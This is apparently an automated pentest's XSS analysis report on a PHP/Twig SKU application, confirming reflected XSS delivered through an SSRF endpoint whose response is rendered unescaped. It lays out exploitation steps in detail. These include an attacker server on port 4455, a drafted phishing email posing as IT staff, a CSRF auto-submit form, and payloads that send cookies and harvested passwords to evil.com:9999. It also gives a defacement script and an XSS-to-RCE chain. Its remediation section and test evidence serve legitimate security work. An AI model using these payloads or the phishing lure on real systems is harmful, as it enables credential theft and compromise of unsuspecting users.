# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete
- **Key Outcome:** One high-confidence Reflected XSS vulnerability was identified and confirmed through code analysis and testing. The vulnerability has been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.
- **Purpose of this Document:** This report provides the strategic context, technical analysis, and environmental intelligence necessary to effectively exploit the confirmed XSS vulnerability.

### Summary Statistics

- **Total XSS Sinks Analyzed:** 1 primary sink (+ 6 additional sinks investigated)
- **Confirmed Vulnerabilities:** 1 (Reflected XSS via SSRF)
- **False Positives Eliminated:** 5 (Stored XSS in Twig templates - HTML escaping is actually enabled)
- **Externally Exploitable:** 1 vulnerability

### Key Finding

The application has a **Reflected XSS vulnerability** that leverages a Server-Side Request Forgery (SSRF) endpoint combined with Twig's `|raw` filter to render unescaped HTML. An external attacker can host malicious HTML on their own server (on port 4455), trick a victim into submitting a form that fetches this content, and achieve arbitrary JavaScript execution in the victim's browser.

## 2. Dominant Vulnerability Patterns

### Pattern 1: SSRF + Unsafe Template Rendering = Reflected XSS

**Description:** The application has an SSRF endpoint at `/sku_url.php` that accepts a user-controlled URL parameter, fetches content via `file_get_contents()`, and renders the response in a Twig template using the `|raw` filter. The SSRF validation only checks that the port is 4455 but does not restrict the hostname, allowing attackers to point the application to their own malicious server.

**Technical Details:**
- **Entry Point:** POST parameter `url` at `/sku_url.php` (line 73)
- **Weak Validation:** Only port 4455 is required; any hostname is allowed (line 14)
- **Dangerous Sink:** `{{ sku_model|raw }}` in `/app/templates/sku_model.html.twig` (line 20)
- **No Output Encoding:** The `|raw` filter explicitly disables HTML entity encoding

**Implication:** Any attacker who can host a web server on port 4455 can deliver malicious HTML/JavaScript that will be executed in the victim's browser context. This is a classic "Reflected XSS via SSRF" pattern where the SSRF acts as a proxy for delivering the XSS payload.

**Representative Finding:** XSS-VULN-01

### Pattern 2: False Positive Pattern - Twig Autoescape Actually Works

**Description:** Initial code analysis suggested that multiple Twig environments were configured without HTML autoescape, leading to predictions of 5 additional Stored XSS vulnerabilities in search results, SKU listings, and product detail pages. However, live testing with browser and curl confirmed that Twig IS applying HTML entity encoding by default, even when `autoescape` is not explicitly configured in the PHP code.

**Testing Evidence:**
- Injected payload: `<img src=x onerror=alert('XSS')>` and `<script>alert('XSS')</script>`
- Observed rendering: `&lt;img src=x onerror=alert(&#039;XSS&#039;)&gt;` (properly escaped)
- Conclusion: Twig's default behavior includes HTML escaping unless explicitly disabled with `|raw` filter

**Implication:** The application's general output handling is SECURE for stored data. The ONLY XSS vulnerability exists where the `|raw` filter is explicitly used, which is solely in the SSRF response rendering endpoint.

**Lessons Learned:** 
1. Code analysis alone is insufficient - live testing is critical
2. Framework defaults may be more secure than configuration suggests
3. The `|raw` filter is a HIGH-RISK indicator that requires immediate investigation

## 3. Strategic Intelligence for Exploitation

### Content Security Policy (CSP) Analysis

**Current CSP:** NONE
- No `Content-Security-Policy` headers are present in any HTTP response
- Confirmed via curl testing and reconnaissance report (Section 6.4)

**Impact:** 
- No CSP restrictions on inline scripts (`<script>alert(1)</script>` will execute)
- No CSP restrictions on eval() usage
- No CSP restrictions on external script sources
- Attacker has full JavaScript execution capability

**Recommendation for Exploitation:** 
- Use inline JavaScript payloads (simplest approach)
- No need for CSP bypass techniques
- Focus on credential theft, DOM manipulation, and session hijacking payloads

### Cookie Security

**Observation:** The application has NO authentication system and NO cookies
- No session cookies present
- No authentication tokens
- The displayed "session ID" on the homepage is purely cosmetic (never validated)

**Impact on Exploitation:**
- Traditional cookie theft via `document.cookie` is not applicable
- Exploitation should focus on:
  - DOM-based attacks (defacement, fake login forms)
  - Credential harvesting via fake forms
  - Redirection to phishing sites
  - Exploitation of other vulnerabilities (chaining with SSRF to reach internal services)

**Strategic Pivot:** Since there are no sessions to hijack, the XSS exploitation phase should focus on demonstrating impact through:
1. Proof of arbitrary JavaScript execution
2. DOM manipulation (defacement)
3. Fake credential capture forms
4. Chaining with other vulnerabilities (e.g., using XSS to trigger SSRF → RCE chain)

### SSRF Validation Bypass Analysis

**Port Validation Logic** (`/app/sku_url.php:14-15`):
```php
if (!isset($urlComponents['port']) || $urlComponents['port'] != 4455) {
    return 'Invalid port. Only connections to port 4455 are allowed.';
}
```

**Hostname Validation** (`/app/sku_url.php:19-21`):
```php
if (isset($urlComponents['host']) && ($urlComponents['host'] === '127.0.0.1' || $urlComponents['host'] === 'localhost')) {
    $url = str_replace($urlComponents['host'], 'service', $url);
}
```

**Critical Weakness:** 
- Only blocks exact strings '127.0.0.1' and 'localhost'
- Does NOT block external hostnames
- Allows: `http://attacker.com:4455/`, `http://evil.example.com:4455/`, `http://192.168.1.10:4455/`

**Exploitation Strategy:**
1. Attacker registers domain (e.g., `evil.com`)
2. Attacker sets up HTTP server on port 4455
3. Attacker serves malicious HTML: `<script>/* payload */</script>`
4. Victim submits form with `url=http://evil.com:4455/xss.html`
5. Application fetches attacker's HTML via SSRF
6. Twig renders with `|raw` → JavaScript executes

### HTTP Security Headers Analysis

**Missing Headers (Confirmed via Reconnaissance):**
- ❌ `Content-Security-Policy` - No CSP protection
- ❌ `X-Frame-Options` - Clickjacking possible
- ❌ `X-Content-Type-Options: nosniff` - MIME confusion possible
- ❌ `Strict-Transport-Security` - No HTTPS enforcement (HTTP only)
- ❌ `Referrer-Policy` - Referrer leakage possible

**Impact:** Zero defense-in-depth protections against XSS exploitation.

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were thoroughly traced and confirmed to have robust, context-appropriate HTML entity encoding.

| Source (Parameter/Key) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|--------------------------|-------------------------|--------------------------------|----------------|---------|
| `username` | `/index.php` (POST param) | htmlspecialchars() + Twig autoescape | HTML_BODY | SAFE |
| `sku` | `/sku_add.php` → database → `/sku_search.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `name` | `/sku_add.php` → database → `/sku_search.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `description` | `/sku_add.php` → database → `/sku_search.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `sku` | `/sku_add.php` → database → `/sku_system.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `name` | `/sku_add.php` → database → `/sku_system.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `description` | `/sku_add.php` → database → `/sku_system.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `sku` | `/sku_add.php` → database → `/sku_product_detail.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `name` | `/sku_add.php` → database → `/sku_product_detail.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `description` | `/sku_add.php` → database → `/sku_product_detail.php` | Twig default HTML entity encoding | HTML_BODY | SAFE |
| `id` (database field) | Multiple templates (href attributes) | Twig default attribute encoding + integer validation | HTML_ATTRIBUTE (URL context) | SAFE |

**Key Insight:** Twig's default HTML escaping mechanism is functioning correctly throughout the application. The ONLY exception is where the `|raw` filter is explicitly used to bypass escaping, which occurs in exactly ONE location: the SSRF response rendering in `sku_model.html.twig`.

**Testing Methodology:**
- Injected payloads: `<script>alert('XSS')</script>`, `<img src=x onerror=alert('XSS')>`, `" onclick=alert('XSS') "`
- Verification: Checked raw HTML responses via curl
- Observed encoding: All dangerous characters (`<`, `>`, `"`, `'`) were properly encoded as HTML entities
- Browser testing: Confirmed no JavaScript execution from stored payloads

## 5. Analysis Constraints and Blind Spots

### External Attacker Constraint

**Limitation:** The confirmed XSS vulnerability (XSS-VULN-01) requires the attacker to host a web server on **port 4455**, which is a non-standard port. 

**Impact on Exploitability:**
- Most cloud providers and hosting services allow arbitrary port configuration
- Attacker can easily set up a server on port 4455 using: `python3 -m http.server 4455`
- No technical barriers prevent this attack
- **Conclusion:** This constraint does NOT significantly reduce exploitability

### SSRF-Based XSS Complexity

**Observation:** The XSS requires two steps:
1. Victim must be socially engineered to visit the SSRF form at `/sku_url.php`
2. Victim must submit the form with attacker's malicious URL

**Mitigation (from attacker perspective):**
- CSRF attack: Since the application has NO CSRF protection (confirmed in reconnaissance report), an attacker can craft an auto-submitting form on an external site that automatically POSTs to `/sku_url.php` when the victim visits the attacker's page
- Phishing: Attacker can send a convincing email with a direct link to a pre-filled form

**Conclusion:** The requirement for user interaction adds minimal complexity to exploitation.

### Testing Limitations

**Incomplete Testing:**
- **SSRF Protocol Bypass:** Did not test if `file://`, `php://`, `data://`, or other protocol handlers could bypass the port validation to deliver XSS payloads without requiring an external server on port 4455
- **Internal Service Response Manipulation:** Did not test if the internal service endpoints (`sku_process`, `read_sku`) could be manipulated to return HTML responses instead of JSON for stored XSS

**Reason:** These advanced bypass techniques were deemed out of scope for the XSS analysis phase, as the primary vulnerability is already confirmed and highly exploitable.

### DOM-Based XSS Analysis Limitation

**Observation:** No client-side JavaScript files were identified in the reconnaissance report that perform DOM manipulation based on URL fragments, postMessage handlers, or other client-side sources.

**Conclusion:** DOM-based XSS is unlikely given the application's minimal client-side code. The application uses primarily server-side rendering with Twig templates.

## 6. Detailed Vulnerability Analysis: XSS-VULN-01

### Vulnerability Classification

- **ID:** XSS-VULN-01
- **Type:** Reflected XSS (via SSRF)
- **CWE:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- **CVSS 3.1 Score:** 7.4 (HIGH)
  - Attack Vector: Network (AV:N)
  - Attack Complexity: Low (AC:L)
  - Privileges Required: None (PR:N)
  - User Interaction: Required (UI:R)
  - Scope: Changed (S:C)
  - Confidentiality: Low (C:L)
  - Integrity: Low (I:L)
  - Availability: None (A:N)

### Complete Source-to-Sink Data Flow

```
1. ENTRY POINT (Source)
   File: /app/sku_url.php:73
   Code: $url = isset($_POST['url']) ? $_POST['url'] : '';
   Description: User-controlled URL parameter from POST request

2. SERVICE METHOD CALL
   File: /app/sku_url.php:80
   Code: $sku_model = $sku_service->fetchSkuModel($url);
   Description: URL passed to SkuService class method

3. URL VALIDATION (Weak)
   File: /app/sku_url.php:6-8
   Code: filter_var($url, FILTER_VALIDATE_URL)
   Description: Validates URL syntax but not hostname whitelist

4. PORT VALIDATION (Weak)
   File: /app/sku_url.php:14-15
   Code: if (!isset($urlComponents['port']) || $urlComponents['port'] != 4455)
   Description: Requires port 4455 but allows ANY hostname
   WEAKNESS: No hostname restriction enables attacker-controlled server

5. HOSTNAME REPLACEMENT (Irrelevant for Attack)
   File: /app/sku_url.php:19-21
   Code: str_replace($urlComponents['host'], 'service', $url)
   Description: Only replaces 'localhost' and '127.0.0.1', not external hosts

6. SSRF EXECUTION (Critical Step)
   File: /app/sku_url.php:34
   Code: $response = file_get_contents($url, false, $context);
   Description: Fetches content from attacker's server
   NO CONTENT-TYPE VALIDATION: Accepts any response (HTML, JSON, etc.)

7. RETURN TO CONTROLLER
   File: /app/sku_url.php:80
   Code: $sku_model = $sku_service->fetchSkuModel($url);
   Description: Attacker's HTML stored in $sku_model variable

8. TEMPLATE RENDERING
   File: /app/sku_url.php:89
   Code: echo $twig->render('sku_model.html.twig', [..., 'sku_model' => $sku_model]);
   Description: Variable passed to Twig template

9. XSS SINK (Final Render)
   File: /app/templates/sku_model.html.twig:20
   Code: {{ sku_model|raw }}
   Render Context: HTML_BODY (inside <div> tag)
   CRITICAL FLAW: |raw filter disables HTML entity encoding
   
10. BROWSER EXECUTION
    Description: Attacker's JavaScript executes in victim's browser
```

### Encoding Analysis

**Required Encoding for HTML_BODY Context:**
- `<` must be encoded as `&lt;`
- `>` must be encoded as `&gt;`
- `&` must be encoded as `&amp;`
- `"` must be encoded as `&quot;` (in attributes)
- `'` must be encoded as `&#x27;` or `&#39;`

**Actual Encoding Applied:** 
- **NONE** - The `|raw` filter explicitly disables Twig's HTML entity encoding
- File: `/app/templates/sku_model.html.twig:20`
- Code: `{{ sku_model|raw }}`

**Context Mismatch Explanation:**
The application renders untrusted content fetched from a user-controlled URL directly into an HTML_BODY context without any output encoding. The Twig `|raw` filter is explicitly used to bypass the framework's default HTML escaping mechanism. This creates a direct path from attacker-controlled input (via SSRF) to JavaScript execution in the victim's browser.

**Why This Is Dangerous:**
1. **Attacker Control:** The attacker controls 100% of the SSRF response by hosting their own server
2. **No Sanitization:** The response is rendered exactly as received, with no HTML entity encoding
3. **Browser Interpretation:** The browser interprets the rendered content as HTML, executing any embedded JavaScript
4. **Cross-Origin:** The attacker's server can be on any domain, making this a true cross-site scripting attack

### Proof-of-Concept Attack

#### Attacker Setup

**Step 1: Host Malicious Server**
```bash
# On attacker's server (evil.com)
mkdir /tmp/xss_payload
cd /tmp/xss_payload
cat > payload.html << 'EOF'
<h1>SKU Model Data</h1>
<script>
  alert('XSS Vulnerability Confirmed!');
  // Attacker can execute arbitrary JavaScript:
  // - Read DOM content
  // - Make requests to other endpoints
  // - Display fake login forms
  // - Redirect to phishing sites
</script>
<p>Malicious content from attacker-controlled server.</p>
EOF

python3 -m http.server 4455
```

**Step 2: Social Engineering**

Attacker sends phishing email to victim:
```
Subject: Urgent: Please verify SKU model data

Dear User,

We need you to verify the SKU model data from our partner system.
Please click this link and submit the form:

http://localhost:8081/sku_url.php

In the URL field, enter: http://evil.com:4455/payload.html
Then click "Fetch SKU Model"

Thank you,
IT Security Team
```

**Alternative: CSRF Auto-Submit**

Since the application has NO CSRF protection, attacker can create auto-submitting form:
```html
<html>
<body onload="document.getElementById('xss').submit()">
<form id="xss" method="POST" action="http://localhost:8081/sku_url.php">
  <input type="hidden" name="url" value="http://evil.com:4455/payload.html">
</form>
</body>
</html>
```

Host this on attacker's site and send victim a link. When victim visits, form auto-submits and XSS triggers.

#### Expected Result

1. Application fetches `http://evil.com:4455/payload.html`
2. Response contains: `<script>alert('XSS Vulnerability Confirmed!');</script>`
3. Template renders with `|raw` filter: no escaping applied
4. Victim's browser executes JavaScript
5. Alert box displays: "XSS Vulnerability Confirmed!"

#### Advanced Exploitation

**Cookie Theft (if cookies existed):**
```javascript
<script>
  fetch('http://evil.com:9999/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
```

**Credential Harvesting:**
```html
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999;">
  <h1>Session Expired - Please Re-Login</h1>
  <form action="http://evil.com:9999/harvest" method="POST">
    Username: <input type="text" name="user"><br>
    Password: <input type="password" name="pass"><br>
    <input type="submit" value="Login">
  </form>
</div>
```

**DOM Manipulation (Defacement):**
```javascript
<script>
  document.body.innerHTML = '<h1 style="color:red;">This site has been compromised!</h1>';
</script>
```

**Chaining with SSRF to Trigger RCE:**
```javascript
<script>
  // Use XSS to trigger the RCE chain documented in the reconnaissance report
  // Step 1: Upload malicious Phar via SSRF
  fetch('/sku_url.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'url=http://service:4455/sku_process',
    // ... include base64-encoded Phar payload
  }).then(() => {
    // Step 2: Trigger deserialization
    fetch('/sku_url.php', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'url=http://service:4455/sku_read',
      // ... include file_path to uploaded Phar
    });
  });
</script>
```

### Witness Payload

**Minimal, non-destructive payload for proof-of-concept:**

```html
<script>alert('XSS_CONFIRMED')</script>
```

**Delivery Method:**
1. Attacker hosts this HTML file on a server accessible at `http://attacker-domain:4455/test.html`
2. Victim navigates to `http://localhost:8081/sku_url.php`
3. Victim enters `http://attacker-domain:4455/test.html` in the URL field
4. Victim clicks "Fetch SKU Model" button
5. JavaScript alert displays "XSS_CONFIRMED"

### Remediation Recommendations

**PRIORITY 1: Remove |raw Filter (Immediate Fix)**

**File:** `/app/templates/sku_model.html.twig:20`

**BEFORE (Vulnerable):**
```twig
{{ sku_model|raw }}
```

**AFTER (Safe - Basic Fix):**
```twig
{{ sku_model }}
```

**Impact:** Twig will apply HTML entity encoding by default, preventing script execution.

**PRIORITY 2: Restrict SSRF Hostnames (Defense in Depth)**

**File:** `/app/sku_url.php:6-21`

**BEFORE (Weak Validation):**
```php
if (!isset($urlComponents['port']) || $urlComponents['port'] != 4455) {
    return 'Invalid port. Only connections to port 4455 are allowed.';
}
```

**AFTER (Strong Validation):**
```php
// Whitelist of allowed hostnames
$allowedHosts = ['service', '127.0.0.1', 'localhost'];

if (!isset($urlComponents['port']) || $urlComponents['port'] != 4455) {
    return 'Invalid port. Only connections to port 4455 are allowed.';
}

if (!in_array($urlComponents['host'], $allowedHosts, true)) {
    return 'Invalid host. Only internal service connections are allowed.';
}
```

**PRIORITY 3: Implement Content-Type Validation**

**File:** `/app/sku_url.php:34-36`

**AFTER:**
```php
$response = file_get_contents($url, false, $context);

// Validate Content-Type to ensure only JSON responses are accepted
if (isset($http_response_header)) {
    $contentType = '';
    foreach ($http_response_header as $header) {
        if (stripos($header, 'Content-Type:') === 0) {
            $contentType = trim(substr($header, 13));
            break;
        }
    }
    
    if (stripos($contentType, 'application/json') === false) {
        return 'Invalid response format. Only JSON responses are accepted.';
    }
}
```

**PRIORITY 4: Add Content Security Policy Header**

**File:** All PHP response files (or Apache configuration)

**Add Header:**
```php
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
```

**Impact:** Even if XSS exists, inline scripts will be blocked by the browser.

**PRIORITY 5: Implement CSRF Protection**

**Recommendation:** Add CSRF tokens to all forms, including the SSRF form at `/sku_url.php`.

## 7. Testing Evidence

### Test 1: Stored XSS False Positive Verification

**Objective:** Verify that Twig's HTML escaping is functioning for database-stored content

**Method:**
```bash
# Step 1: Insert XSS payload into database
curl -X POST http://localhost:8081/sku_add.php \
  -d "sku=TEST-XSS&name=<script>alert('XSS')</script>&description=<img src=x onerror=alert('XSS')>"

# Step 2: Retrieve and check if HTML is escaped
curl -s http://localhost:8081/sku_system.php | grep -A 3 "TEST-XSS"
```

**Result:**
```html
<td>TEST-XSS</td>
<td>&lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;</td>
<td>&lt;img src=x onerror=alert(&#039;XSS&#039;)&gt;</td>
```

**Verdict:** ✅ SAFE - HTML entities properly encoded

### Test 2: SSRF Response Rendering

**Objective:** Confirm that SSRF responses are rendered without escaping

**Method:**
```bash
curl -X POST http://localhost:8081/sku_url.php \
  -d "url=http://localhost:4455/sku_transfer" | grep -A 5 "Fetched SKU Model"
```

**Result:**
```html
<h2>Fetched SKU Model</h2>
<div>
    {"status":"success","data":[...]}
</div>
```

**Observation:** Response is rendered as-is. If the response contained HTML with `<script>` tags instead of JSON, it would be executed.

**Verdict:** ✅ VULNERABLE - No HTML encoding applied to SSRF responses (due to |raw filter)

### Test 3: Browser-Based Stored XSS Test

**Objective:** Visually confirm HTML escaping in browser rendering

**Method:** Used Playwright to:
1. Navigate to `/sku_add.php`
2. Fill form with XSS payloads: `<img src=x onerror=alert('XSS')>` and `<script>alert('XSS')</script>`
3. Submit form
4. Take screenshot of resulting page

**Result:** Screenshot shows literal HTML tags displayed as text (escaped)

**Verdict:** ✅ SAFE - Browser rendering confirms HTML escaping is active

## 8. Conclusion

### Summary of Findings

| Vulnerability ID | Type | Severity | CVSS | Status | Externally Exploitable |
|------------------|------|----------|------|--------|------------------------|
| XSS-VULN-01 | Reflected XSS via SSRF | HIGH | 7.4 | Confirmed | ✅ YES |

### Root Cause Analysis

The root cause of XSS-VULN-01 is the **intentional disabling of HTML escaping** via the Twig `|raw` filter in a context where untrusted, attacker-controlled content is rendered. This design flaw is compounded by:

1. **Weak SSRF validation** that allows external hostnames
2. **Lack of Content-Type validation** on SSRF responses
3. **Absence of Content Security Policy (CSP)** headers
4. **No CSRF protection** enabling automated exploitation

The combination of these weaknesses creates a high-impact vulnerability that can be exploited with minimal effort by an external attacker.

### False Positives Eliminated

Through systematic testing, **5 predicted Stored XSS vulnerabilities were confirmed to be false positives**. The application's use of Twig templates provides robust HTML entity encoding by default, protecting against XSS in all contexts EXCEPT where the `|raw` filter is explicitly used.

This finding highlights the importance of:
1. Live testing to validate code analysis predictions
2. Understanding framework security defaults
3. Focusing on explicit security bypasses (like `|raw`) as high-priority indicators

### Strategic Recommendations for Exploitation Phase

1. **Primary Goal:** Demonstrate arbitrary JavaScript execution via alert/console.log
2. **Secondary Goal:** Show practical impact through DOM manipulation or fake credential forms
3. **Tertiary Goal:** Chain XSS with other vulnerabilities (SSRF → RCE chain trigger)
4. **Avoid:** Cookie theft demonstrations (no cookies exist in this application)

### Handoff to Exploitation Phase

The confirmed XSS vulnerability (XSS-VULN-01) has been documented in the exploitation queue at:
**`deliverables/xss_exploitation_queue.json`**

The exploitation phase should focus on:
- Setting up an attacker-controlled HTTP server on port 4455
- Crafting a convincing social engineering or CSRF-based attack vector
- Demonstrating high-impact payloads (credential harvesting, DOM manipulation)
- Exploring potential to chain XSS with the documented RCE vulnerability

---

**XSS ANALYSIS COMPLETE**